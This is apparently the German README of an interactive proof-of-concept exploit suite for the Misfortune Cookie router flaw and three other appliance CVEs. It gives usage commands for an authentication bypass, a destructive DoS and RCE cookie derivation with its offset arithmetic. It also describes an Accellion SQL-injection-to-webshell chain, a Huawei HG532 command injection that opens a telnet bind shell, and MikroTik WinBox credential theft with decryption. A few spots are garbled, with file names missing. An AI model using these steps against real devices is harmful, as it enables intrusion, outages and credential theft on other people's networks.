
Interaktive PoC-Suite für CVE-2014-9222 (Misfortune Cookie) und verwandte Router-Exploits, mit Modulen für Erkennung, Auth-Bypass, DoS und RCE sowie einem Scan-Modus für mehrere Schwachstellen.
Stack-Überlauf in der HTTP-Cookie-Verarbeitung von AllegroSoft RomPager (alle Versionen
< 4.34). Eine einzelne nicht authentifizierte Anfrage mit einem manipulierten Cookie:-Header
beschädigt den Speicher. Auswirkungen: Umgehung der Admin-Authentifizierung, DoS/Neustart und (mit
firmwarespezifischen Offsets) Remote-Code-Ausführung.
Nur gegen Hardware verwenden, die dir gehört oder für die du ausdrücklich autorisiert bist, sie zu testen.
python3 main.py # dann Ziel mit [1] festlegen
python3 main.py http://192.168.1.1
[1] Ziel festlegen / wechseln
[2] Ziel identifizieren (Fingerprint)
[3] Schwachstelle erkennen (sicher, nicht destruktiv)
[4] Authentifizierung umgehen (Magic Cookie)
[5] DoS / Gerät zum Absturz bringen (DESTRUKTIV)
[6] RCE-Hilfe – Cookie aus Firmware-Adressen ableiten
[7] Modell-/Cookie-Tabellensuche
[8] Auf alle Schwachstellen scannen (Probe)
[A] Accellion-FTA-Kette (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
Jede Aktion zeigt zuerst an, was sie tun wird; für DoS muss YES eingegeben werden. Der
modellspezifische Fingerprint (Realm) wird automatisch aus dem WWW-Authenticate-Header
erkannt und mit der Cookie-Tabelle abgeglichen.
[8] testet einen Host gegen alle vier Schwachstellen-Familien mit
nicht-destruktiven Prüfungen und zeigt an, welche erreichbar/wahrscheinlich anfällig sind:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
Führe anschließend den passenden Menüeintrag ([3]/[4]/[A]/[B]/[C]) aus, um die
bestätigte Schwachstelle auszunutzen.
Neben Misfortune Cookie enthält die Konsole PoCs für drei weitere häufige Schwachstellen bei eingebetteten Geräten/Appliances:
[A] Accellion FTA (accellion_fta.py) – reproduziert die UNC2546-Kette,
die von Mandiant beschrieben wurde: das w1-Geheimnis per SQL-Injection über einen
manipulierten Host-Header (/courier/oauth.api) wiederherstellen, dann admin.pl auslösen, um
eine Eval-Webshell zu schreiben, und diese verifizieren. 27103 (SSRF) / 27104 (Cmd-Ausführung nach
Authentifizierung) werden erwähnt, aber standardmäßig nicht ausgeführt.[B] Huawei HG532 (huawei_hg532.py) – SOAP-POST an
/ctrlt/DeviceUpgrade_1 mit $(<cmd>) in NewStatusURL, HTTP-Digest-Auth
dslf-config:admin; der Standardbefehl öffnet eine Telnet-Bind-Shell auf 9999.[C] MikroTik WinBox () – Directory-Traversal-Dateilesen
über das WinBox-Protokoll; standardmäßig wird gelesen und
gespeicherte Zugangsdaten werden entschlüsselt ( XOR).Alle zusätzlichen PoCs erfordern eine ausdrückliche Bestätigung in der Konsole.
python3 detect.py http://192.168.1.1 # sichere Prüfung
python3 auth_bypass.py http://192.168.1.1 # Modell automatisch erkannt
python3 auth_bypass.py http://192.168.1.1 --restore # Authentifizierung wieder aktivieren
python3 auth_bypass.py http://192.168.1.1 --all # alle bekannten Cookies ausprobieren
python3 auth_bypass.py http://192.168.1.1 --brute # erschöpfend (SEHR langsam, Abstürze)
python3 dos.py http://192.168.1.1 # Absturz / Neustart (DESTRUKTIV)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # Adressen -> (num, pad)
Cookie: C<evilnum>=<pad "B" bytes><payload>;
evilnum und pad sind firmwarespezifisch. evilnum indexiert RomPagers
0x28-Byte-Cookie-Array (C_Array + evilnum*0x28 + pad = überschriebene
Adresse). Die modellspezifische Tabelle, zusammengeführt aus ExploitDB 39739 und dem Metasploit-
Modul allegro_rompager_auth_bypass, befindet sich in common.py.
Benötigt ein exaktes Firmware-Image. Schritte (siehe rce/README.md): Rootfs mit
binwalk extrahieren, den Cookie-Parser in Ghidra reverse-engineeren, um den Puffer ->
gespeicherte $ra-Differenz zu finden, (num, pad) mit derive_cookie.py ableiten, den
MIPS-Shellcode gegen ein QEMU-emuliertes Image validieren, bevor das Live-Ziel angefasst wird.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
und auxiliary/admin/http/allegro_rompager_auth_bypass| Schwachstelle | CVE | Was die Probe tut |
|---|
| RomPager | CVE-2014-9222 | HTTP-Banner + Version vs. 4.34 |
| Huawei HG532 | CVE-2017-17215 | SOAP-Endpunkt aktiv + Digest-Realm |
| MikroTik WinBox | CVE-2018-14847 | Live-WinBox-Dateilesen (Zugangsdaten ausgegeben) |
| Accellion FTA | CVE-2021-27101/104 | Accellion/oauth.api-Fingerprint |
| Menü | CVE | Ziel | Port |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| Datei | Zweck |
|---|
main.py | interaktive Konsole |
ui.py | Banner + UI-Hilfsfunktionen (header/info/warn/err/success/prompt/confirm) |
common.py | Fingerprinting, Magic-Cookie-Erstellung, modellspezifische (num, pad)-Tabelle |
detect.py | nicht-destruktive Schwachstellenprüfung (Version + Canary-Cookie) |
scan.py | Ziel gegen alle vier Schwachstellen-Familien testen (Option 8) |
auth_bypass.py | Magic-Cookie-Authentifizierungsumgehung mit Realm-Auto-Erkennung |
dos.py | Stack-Smash mit überdimensioniertem Cookie -> Watchdog-Neustart |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> Webshell-Kette |
huawei_hg532.py | CVE-2017-17215 SOAP-Befehlsinjektion |
mikrotik_winbox.py | CVE-2018-14847 WinBox-Dateilesen / Zugangsdaten-Ausgabe |
rce/derive_cookie.py | C_Array + Zieladresse in (num, pad) umwandeln |
rce/README.md | vollständige RCE-Methodik + Exploit-Mathematik |
rce/references/ | 31C3-Folien, NCC-Whitepaper, Demystified-Writeups, Layout-Tabellen |